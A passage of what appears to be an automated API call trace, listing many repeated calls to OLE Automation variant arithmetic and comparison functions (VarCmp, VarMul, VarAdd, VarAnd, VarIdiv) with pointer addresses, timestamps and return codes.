pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.265] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.265] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.266] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.266] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.266] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.266] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.266] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.266] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.267] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461ce0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461dc0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] VarMul (in: pvarLeft=0x7461850, pvarRight=0x7461d48, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.268] SafeArrayCopy (in: psa=0x7320930, ppsaOut=0x7461ea8 | out: ppsaOut=0x7461ea8) returned 0x0 [0018.269] VarAdd (in: pvarLeft=0x74619c0, pvarRight=0x7461ee8, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.269] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.269] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.269] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.269] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.269] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.269] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.269] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.269] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.269] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.269] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.269] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.269] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.269] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.269] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.269] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.269] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.269] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.269] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461c28, pvarRight=0x7461bb8, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x74619c0, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x74618f0, pvarRight=0x74618d8, pvarResult=0x74618c0 | out: pvarResult=0x74618c0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461bb8, pvarRight=0x7461920, pvarResult=0x7461ba0 | out: pvarResult=0x7461ba0) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461ba0, pvarRight=0x74618a8, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d90, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461cb0, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461d30, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarIdiv (in: pvarLeft=0x7461850, pvarRight=0x7461d60, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x2 [0018.270] VarCmp (pvarLeft=0x7461c28, pvarRight=0x7461850, lcid=0x0, dwFlags=0x30001) returned 0x1 [0018.270] VarAnd (in: pvarLeft=0x7461850, pvarRight=0x7461cc8, pvarResult=0x7461820 | out: pvarResult=0x7461820) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461908, pvarRight=0x7461978, pvarResult=0x74618d8 | out: pvarResult=0x74618d8) returned 0x0 [0018.270] VarAdd (in: pvarLeft=0x7461ee8, pvarRight=0x7461978, pvarResult=0x7461c28 | out: pvarResult=0x7461c28) returned 